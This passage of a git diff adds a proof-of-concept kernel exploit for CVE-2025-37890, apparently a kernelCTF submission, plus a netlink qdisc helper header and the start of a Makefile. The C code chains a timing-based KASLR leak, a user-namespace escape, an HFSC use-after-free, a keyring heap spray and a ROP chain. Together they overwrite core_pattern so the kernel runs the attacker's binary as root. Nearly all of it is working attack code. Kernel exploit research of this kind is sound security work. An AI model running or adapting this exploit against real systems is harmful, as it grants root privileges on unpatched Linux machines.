times[ti]; + } + } + + if (mini == (size_t)-1) + { + return -1; + } + + bases[vote] = addrs[mini]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + base -= OFFSET; + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %zx with %d votes\n", base, c); + } + } + else + { +#define START_AMD (0xffffffff81000000ull) +#define END_AMD (0xffffffffc0000000ull) +#define STEP_AMD 0x0000000000200000ull +#define NUM_TRIALS 9 +// largest contiguous mapped area at the beginning of _stext +#define WINDOW_SIZE 11 + + while (1) + { + uint64_t bases[NUM_TRIALS] = {0}; + + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END_AMD - START_AMD) / STEP_AMD] = {}; + uint64_t addrs[(END_AMD - START_AMD) / STEP_AMD]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START_AMD + STEP_AMD * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + uint64_t max = 0; + int max_i = 0; + for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) + { + uint64_t sum = 0; + for (int i = 0; i < WINDOW_SIZE; i++) + { + sum += times[ti + i]; + } + if (sum > max) + { + max = sum; + max_i = ti; + } + } + + bases[vote] = addrs[max_i]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %zx with %d votes\n", base, c); + } + } + +got_base: + + return base; +} +/*KASLR leak end*/ + +// Unshare stuff +// Write to a file so we can set our user ids +int write_mapping(const char *path, const char *content) +{ + int fd = open(path, O_WRONLY); + if (fd == -1) + { + printf("Failed to open %s: %s\n", path, strerror(errno)); + return -1; + } + + if (write(fd, content, strlen(content)) != (ssize_t)strlen(content)) + { + printf("Failed to write to %s: %s\n", path, strerror(errno)); + close(fd); + return -1; + } + close(fd); + return 0; +} + +void setup_userns(void) +{ + // Unshare into new user namespace + if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) == -1) + { + printf("unshare failed: %s\n", strerror(errno)); + exit(-1); + } + + // First disable setgroups + if (write_mapping("/proc/self/setgroups", "deny") == -1) + { + printf("Failed to disable setgroups\n"); + exit(-1); + } + + // Then map our UID and GID + if (write_mapping("/proc/self/uid_map", "0 1000 1") == -1 || + write_mapping("/proc/self/gid_map", "0 1000 1") == -1) + { + printf("Failed to write ID mappings\n"); + exit(-1); + } +} + +/*netlink utils*/ +struct netlink_send_cb_struct +{ + void (*cb)(char *, size_t, void *); + void *cb_out; +}; + +int __netlink_send(int fd, const void *nlh, size_t size, char *nlbuf, size_t nlbuf_sz, int has_done_msg, struct netlink_send_cb_struct *cb_info) +{ + char nlbuf_cb_scratch[1024]; + struct iovec iov = { + .iov_base = (void *)nlh, + .iov_len = size, + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + + if (sendmsg(fd, &msg, 0) < 0) + { + perror("sendmsg()"); + return -1; + } + ssize_t ret = recvfrom(fd, nlbuf, nlbuf_sz, 0, NULL, NULL); + if (ret == -1) + { + perror("recvfrom()"); + return -1; + } + + if (has_done_msg) + { + ssize_t ret2 = recvfrom(fd, &nlbuf_cb_scratch, sizeof(nlbuf_cb_scratch), 0, NULL, NULL); // done msg TODO: not all requests have this... + if (ret2 == -1) + { + perror("recvfrom()"); + return -1; + } + } + + struct nlmsghdr *response_nlh = (struct nlmsghdr *)nlbuf; + { + struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(response_nlh); + if (err->error) + { + fprintf(stderr, "Netlink Result: %s\n", strerror(-err->error)); + return -err->error; + } + } + + if (cb_info) + cb_info->cb(nlbuf, ret, cb_info->cb_out); + return 0; +} + +int netlink_send(int fd, const struct nlmsghdr *nlh) +{ + char nlbuf[4096] = {0}; // Buffer to store the response + return __netlink_send(fd, nlh, nlh->nlmsg_len, nlbuf, sizeof(nlbuf), 0, NULL); +} + +int netlink_open(int proto) +{ + struct sockaddr_nl addr = {0}; + addr.nl_family = AF_NETLINK; + + int s = socket(AF_NETLINK, SOCK_RAW, proto); + if (s < 0) + { + perror("socket()"); + return s; + } + if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) + { + perror("bind()"); + return -1; + } + + return s; +} +/*netlink utils end*/ + +/*set interface up*/ +int set_interface_flags(int sock, const char *ifname, int flags, int change) +{ + struct + { + struct nlmsghdr nlh; + struct ifinfomsg ifm; + char buf[64]; + } req; + + // Prepare the netlink request + memset(&req, 0, sizeof(req)); + + // Setup the netlink header + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nlh.nlmsg_type = RTM_SETLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req.nlh.nlmsg_seq = 1; + + // Setup the interface info message + req.ifm.ifi_family = AF_UNSPEC; + req.ifm.ifi_index = if_nametoindex(ifname); + if (req.ifm.ifi_index == 0) + { + perror("if_nametoindex"); + close(sock); + return -1; + } + + // Set the interface flags + req.ifm.ifi_change = change; + req.ifm.ifi_flags = flags; + + // Send the netlink message + struct sockaddr_nl nladdr = {0}; + struct iovec iov; + struct msghdr msg = {0}; + nladdr.nl_family = AF_NETLINK; + iov.iov_base = &req.nlh; + iov.iov_len = req.nlh.nlmsg_len; + msg.msg_name = &nladdr; + msg.msg_namelen = sizeof(nladdr); + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + if (sendmsg(sock, &msg, 0) < 0) + { + perror("send_netlink_message"); + close(sock); + return -1; + } + + // Read the ACK response + char buf[4096]; + int len; + struct nlmsghdr *resp_nlh; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) + { + perror("recv"); + close(sock); + return -1; + } + + resp_nlh = (struct nlmsghdr *)buf; + if (resp_nlh->nlmsg_type == NLMSG_ERROR) + { + struct nlmsgerr *err = NLMSG_DATA(resp_nlh); + if (err->error != 0) + { + fprintf(stderr, "Netlink error: %s\n", strerror(-err->error)); + close(sock); + return -1; + } + } + return 0; +} + +// Function to bring an interface up +int set_interface_up(int fd, const char *ifname) +{ + return set_interface_flags(fd, ifname, IFF_UP, IFF_UP); +} +/*set interface up end*/ + +/*requests*/ +int _send_req(int priority, int no_block) +{ + int sock; + struct sockaddr_in server; + + // Create UDP socket + sock = socket(AF_INET, SOCK_DGRAM, 0); + if (sock < 0) + { + perror("Failed to create socket"); + return 1; + } + + if (setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)) < 0) + { + perror("Failed to set socket priority"); + close(sock); + return 1; + } + + if (!no_block) + { + // Set socket to non-blocking mode + int flags = fcntl(sock, F_GETFL, 0); + if (flags < 0) + { + perror("Failed to get socket flags"); + close(sock); + return 1; + } + if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) + { + perror("Failed to set socket to non-blocking"); + close(sock); + return 1; + } + } + + // Configure server address + memset(&server, 0, sizeof(server)); + server.sin_family = AF_INET; + server.sin_port = htons(8888); + if (inet_pton(AF_INET, "127.0.0.1", &server.sin_addr) <= 0) + { + perror("Invalid address"); + close(sock); + return 1; + } + + // Send empty datagram + if (sendto(sock, "", 0, 0, (struct sockaddr *)&server, sizeof(server)) < 0) + { + perror("Failed to send"); + close(sock); + return 1; + } + + close(sock); + return 0; +} + +int send_req(int priority) +{ + return _send_req(priority, 0); +} + +int send_req_noblock(int priority) +{ + return _send_req(priority, 1); +} +/*requests end*/ + +/*util functions for tc*/ +int get_qdisc_handle(__u32 *h, const char *str) +{ + *h = 0; + __u32 maj; + char *p; + + maj = TC_H_UNSPEC; + if (strcmp(str, "none") == 0) + goto ok; + maj = strtoul(str, &p, 16); + if (p == str || maj >= (1 << 16)) + return -1; + maj <<= 16; + if (*p != ':' && *p != 0) + return -1; +ok: + *h = maj; + return 0; +} + +int get_tc_classid(__u32 *h, const char *str) +{ + __u32 maj, min; + char *p; + + maj = TC_H_ROOT; + if (strcmp(str, "root") == 0) + goto ok; + maj = TC_H_UNSPEC; + if (strcmp(str, "none") == 0) + goto ok; + maj = strtoul(str, &p, 16); + if (p == str) + { + maj = 0; + if (*p != ':') + return -1; + } + if (*p == ':') + { + if (maj >= (1 << 16)) + return -1; + maj <<= 16; + str = p + 1; + min = strtoul(str, &p, 16); + if (*p != 0) + return -1; + if (min >= (1 << 16)) + return -1; + maj |= min; + } + else if (*p != 0) + return -1; + +ok: + *h = maj; + return 0; +} + +static __u32 get_id(const char *s_class) +{ + if (s_class[strlen(s_class) - 1] == '0') + { + // eg 2.0 + __u32 result; + SYSOK(get_qdisc_handle(&result, s_class)); + return result; + } + else + { + // eg 2.1 + __u32 result; + SYSOK(get_tc_classid(&result, s_class)); + return result; + } +} +/*util functions for tc end*/ + +/*keyring section*/ +#define KEY_DESC_SIZE (0x200 - 0x18 + 1) +char key_desc[KEY_DESC_SIZE]; + +typedef int32_t key_serial_t; + +static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) +{ + return syscall(__NR_add_key, type, description, payload, plen, ringid); +} + +key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) +{ + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + if (id_buffer == NULL) + fatal("calloc"); + + for (uint32_t i = start; i < start + spray_size; i++) + { + key_desc[0] = '\x01' + i; + id_buffer[i] = add_key("user", key_desc, key_desc, sizeof(key_desc), KEY_SPEC_PROCESS_KEYRING); + } + + return id_buffer; +} +/*keyring section end*/ + +#include "qdisc.h" + +/*exp code start*/ +int setup_uaf(const int netlink_fd) +{ + struct tc_service_curve fsc = { + .d = 1, + .m1 = UINT_MAX, + .m2 = UINT_MAX}; + SYSOK(create_qdisc_hfsc(netlink_fd, get_id("1:0"), TC_H_ROOT)); // parent is root + SYSOK(create_class_hfsc(netlink_fd, get_id("1:1"), get_id("1:0"), NULL, &fsc, NULL)); // no rsc + + SYSOK(create_class_hfsc(netlink_fd, get_id("1:2"), get_id("1:0"), NULL, &fsc, NULL)); // no rsc + SYSOK(create_qdisc_netem(netlink_fd, get_id("2:0"), get_id("1:1"))); + SYSOK(create_qdisc_pfifo(netlink_fd, get_id("3:0"), get_id("1:2"))); // doesn't matter what qdisc, as long as it is successful + SYSOK(send_req(get_id("1:1"))); + + puts("[~] deleting class"); + SYSOK(delete_class(netlink_fd, get_id("1:1"), get_id("1:0"), "drr")); + + return 0; +} + +void trigger_uaf() +{ + // enqueue into hfsc + SYSOK(send_req(get_id("1:2"))); + // qdisc_run triggers hfsc_dequeue(), which selects UAF class +} + +const char desired_core_pattern[] = "|/proc/%P/fd/666 %P"; +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {0}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, desired_core_pattern, strlen(desired_core_pattern)) == 0; +} + +void crash() +{ + int memfd = memfd_create("", 0); + sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff); + dup2(memfd, 666); + close(memfd); + + while (check_core() == 0) + usleep(100); // 0.1ms + + *(size_t *)0 = 0; +} + +int new_qfq_qdisc(int sock_fd, __u32 my_handle, __u32 parent_handle, size_t buf1_len, const char *buf1, size_t buf2_len, const char *buf2) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "qfq"); + mnl_attr_put(nlh, TCA_OPTIONS, buf1_len, buf1); + mnl_attr_put(nlh, TCA_OPTIONS, buf2_len, buf2); + + return netlink_send(sock_fd, nlh); +} + +/* hfsc_class offsets (obtained from pahole) */ +// COS version (note, offsets change from COS to LTS) +#define KEY_DESC_HEADER_SIZE 0x18 +#define LEVEL_OFFSET 100 +#define CL_PARENT_OFFSET 112 +#define VT_NODE_OFFSET 192 +#define CF_NODE_OFFSET 224 +#define CL_VT_OFFSET 280 +#define CL_CVTMIN_OFFSET 312 +#define CL_E_OFFSET 272 + +int prep_key_desc(size_t target, size_t write_val) +{ + /* Place fake hfsc_class in keydesc */ + memset(key_desc, 0, sizeof(key_desc)); + + /* hfsc_class.level = 1 (must be non-zero) */ + key_desc[LEVEL_OFFSET - KEY_DESC_HEADER_SIZE] = 1; + /* hfsc_class.vt_node = 1 (must be odd) */ + key_desc[VT_NODE_OFFSET - KEY_DESC_HEADER_SIZE] = 1; + /* hfsc_class.cf_node = 1 (must be odd) */ + key_desc[CF_NODE_OFFSET - KEY_DESC_HEADER_SIZE] = 1; + + /* hfsc_class.cl_e > cur_time (fail eltree_get_mindl)*/ + *(size_t *)&key_desc[CL_E_OFFSET - KEY_DESC_HEADER_SIZE] = 0xffffffffffffffff; + + /* hfsc_class.parent = &qfq_change_qdisc (write target)*/ + *(size_t *)&key_desc[CL_PARENT_OFFSET - KEY_DESC_HEADER_SIZE] = target - CL_CVTMIN_OFFSET; + /* hfsc_class.cl_vt = jop_gadget (write value) */ + *(size_t *)&key_desc[CL_VT_OFFSET - KEY_DESC_HEADER_SIZE] = write_val; + + return 0; +} + +void core_pattern_handler(char **argv) +{ + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow */ + system("cat /flag;sleep 1;echo o>/proc/sysrq-trigger"); + exit(0); +} + +void prep_rop(char *payload1, char *payload2) +{ + *(size_t *)&payload1[0x10] = ROP_GADGET; + size_t *rop = (size_t *)&payload2[4]; + size_t x = 0; + rop[x++] = POP_RDI; + rop[x++] = CORE_PATTERN; + rop[x++] = POP_RSI; + rop[x++] = (size_t)&desired_core_pattern; + rop[x++] = POP_RDX; + rop[x++] = sizeof(desired_core_pattern); + rop[x++] = COPY_FROM_USER; + // msleep(0x10000); + rop[x++] = POP_RDI; + rop[x++] = 0x10000; + rop[x++] = MSLEEP; +} + +void trigger_qfq_change(const int netlink_fd, const char *payload1, size_t payload1_sz, const char *payload2, size_t payload2_sz) +{ + puts("[~] triggering qdisc change now"); + struct tc_service_curve rsc = { + .d = 1, + .m1 = UINT_MAX, + .m2 = UINT_MAX}; + // create class to attach qdisc to + SYSOK(create_class_hfsc(netlink_fd, get_id("1:6"), get_id("1:0"), &rsc, &rsc, NULL)); + // create qdisc + SYSOK(new_qfq_qdisc(netlink_fd, get_id("7:0"), get_id("1:6"), payload1_sz, payload1, payload2_sz, payload2)); + // trigger change + // before rsi is param1 contiguous, rsi = 4 hdr bytes + buf2 + SYSOK(new_qfq_qdisc(netlink_fd, get_id("7:0"), get_id("1:6"), payload1_sz, payload1, payload2_sz, payload2)); +} + +int main(int argc, char **argv) +{ + setvbuf(stdout, 0, 2, 0); + if (argc > 1) + { + core_pattern_handler(argv); + } + + g_kernel_base = kaslr_leak(); + printf("[>] Kernel base address: 0x%lx\n", g_kernel_base); + + if (geteuid() != 0) + setup_userns(); + + set_cpu(0); // main exploit thread runs on CPU 0. others will run on CPU 1. + + const int netlink_fd = netlink_open(NETLINK_ROUTE); + if (netlink_fd < 0) + { + fprintf(stderr, "Failed to open Netlink socket\n"); + return EXIT_FAILURE; + } + + SYSOK(set_interface_up(netlink_fd, "lo")); + + // used when spraying later + prep_key_desc(QFQ_CHANGE, JOP_GADGET); + + puts("[+] prepping UAF"); + setup_uaf(netlink_fd); + + puts("[+] spraying slab to reclaim with key_desc"); + spray_keyring(0, 30); + + puts("[+] sending request, will trigger hfsc dequeue"); + trigger_uaf(); + + puts("[~] forking process for core_pattern exp later"); + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + crash(); + } + + char payload1[0x80] = {0}; + char payload2[0x80] = {0}; + prep_rop(payload1, payload2); + + trigger_qfq_change(netlink_fd, payload1, sizeof(payload1), payload2, sizeof(payload2)); + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/qdisc.h b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/qdisc.h new file mode 100644 index 000000000..4d4257210 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/cos-109-17800.436.60/qdisc.h @@ -0,0 +1,171 @@ +#ifndef PWN_QDISC_H +#define PWN_QDISC_H + +char *PWN_TC_QDISC_INTERFACE = "lo"; + +int create_qdisc_pfifo(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "pfifo"); + + return netlink_send(sock_fd, nlh); +} + +int create_qdisc_hfsc(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + + struct tc_hfsc_qopt qopt = {}; + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + return netlink_send(sock_fd, nlh); +} + +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) + +int create_qdisc_netem(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "netem"); + + // copied from iproute2-tc q_netem.c because this protocol has a different parser + struct rtattr *tail = NLMSG_TAIL(nlh); + + struct tc_netem_qopt qopt = { + .limit = 10, // doesn't matter as long as we can enqueue 2 packets + .latency = 0, + .jitter = 0, + .loss = 0, + .gap = 0, + .duplicate = ~0, // always duplicate + }; + + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + tail->rta_len = (void *)NLMSG_TAIL(nlh) - (void *)tail; + + return netlink_send(sock_fd, nlh); +} + +int create_class(const int sock_fd, const __u32 child_handle, const __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_NEWTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE | NLM_F_ACK; + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = child_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "drr"); + + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int create_class_hfsc(const int sock_fd, const __u32 child_handle, const __u32 parent_handle, struct tc_service_curve *rsc, struct tc_service_curve *fsc, struct tc_service_curve *usc) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE | NLM_F_ACK; + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + + tcm->tcm_handle = child_handle; + tcm->tcm_parent = parent_handle; + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + if (rsc) + mnl_attr_put(nlh, TCA_HFSC_RSC, sizeof(struct tc_service_curve), rsc); + if (fsc) + mnl_attr_put(nlh, TCA_HFSC_FSC, sizeof(struct tc_service_curve), fsc); + if (usc) + mnl_attr_put(nlh, TCA_HFSC_USC, sizeof(struct tc_service_curve), usc); + + mnl_attr_nest_end(nlh, opts); + + return netlink_send(sock_fd, nlh); +} + +int delete_class(int sock_fd, __u32 my_handle, __u32 parent_handle, const char *kind) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_DELTCLASS; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, kind); + + return netlink_send(sock_fd, nlh); +} + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/.gitignore b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/.gitignore new file mode 100644 index 000000000..e42054090 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/.gitignore @@ -0,0 +1,5 @@ +*build/* +gdb_stuff/ +out/ +tools/ +exp \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/Makefile b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/Makefile new file mode 100644 index 000000000..3cf6d1f33 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/lts-6.6.83/Makefile @@ -0,0 +1,81 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build +LIBNFNETLINK_DIR = $(realpath ./)/libnfnetlink_build +LIBNETFILTER_QUEUE_DIR = $(realpath ./)/libnetfilterqueue_build +LIBIPTC_DIR = $(realpath ./)/libiptc_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -L$(LIBNFNETLINK_DIR)/install/lib -L$(LIBNETFILTER_QUEUE_DIR)/install/lib -L$(LIBIPTC_DIR)/install/lib -lxtables -lip4tc -lnftnl -lmnl -lnetfilter_queue -lnfnetlink +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -I$(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2/include -I$(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5/include -I$(LIBIPTC_DIR)/iptables-1.8.9/include +CFLAGS = -static -s + +exp: exploit + cp exploit exp + +exploit: exploit.c *.h + gcc -g -o exploit exploit.c -Wall -Wextra -Wno-unused -Werror -Wno-int-to-pointer-cast $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build libnetfilter-queue-build libiptc-build + +libiptc-build : libiptc-download #libmnl-build libnftnl-build + tar -C $(LIBIPTC_DIR) -xvf $(LIBIPTC_DIR)/iptables-1.8.9.tar.xz + cd $(LIBIPTC_DIR)/iptables-1.8.9 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig:$(LIBNFTNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBIPTC_DIR)/iptables-1.8.9 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include::$(LIBNFTNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib:$(LIBNFTNL_DIR)/install/lib make -j`nproc` + cd $(LIBIPTC_DIR)/iptables-1.8.9 && make install + +libiptc-download: + mkdir $(LIBIPTC_DIR) + wget -P $(LIBIPTC_DIR) https://netfilter.org/projects/iptables/files/iptables-1.8.9.tar.xz + + +libnfnetlink-build : libnfnetlink-download + tar -C $(LIBNFNETLINK_DIR) -xvf $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2.tar.bz2 + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && make -j`nproc` + cd $(LIBNFNETLINK_DIR)/libnfnetlink-1.0.2 && make install + +libnetfilter-queue-build : libnetfilter-queue-download libnfnetlink-build #libmnl-build + tar -C $(LIBNETFILTER_QUEUE_DIR) -xvf $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5.tar.bz2 + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && PKG_CONFIG_PATH=$(LIBNFNETLINK_DIR)/install/lib/pkgconfig:$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBNFNETLINK_DIR)/install/include:$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBNFNETLINK_DIR)/install/lib:$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNETFILTER_QUEUE_DIR)/libnetfilter_queue-1.0.5 && make install + +libnetfilter-queue-download: + mkdir $(LIBNETFILTER_QUEUE_DIR) + wget -P $(LIBNETFILTER_QUEUE_DIR) https://netfilter.org/projects/libnetfilter_queue/files/libnetfilter_queue-1.0.5.tar.bz2 + +libnfnetlink-download: + mkdir $(LIBNFNETLINK_DIR) + wget -P $(LIBNFNETLINK_DIR) https://netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.2.tar.bz2 + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd 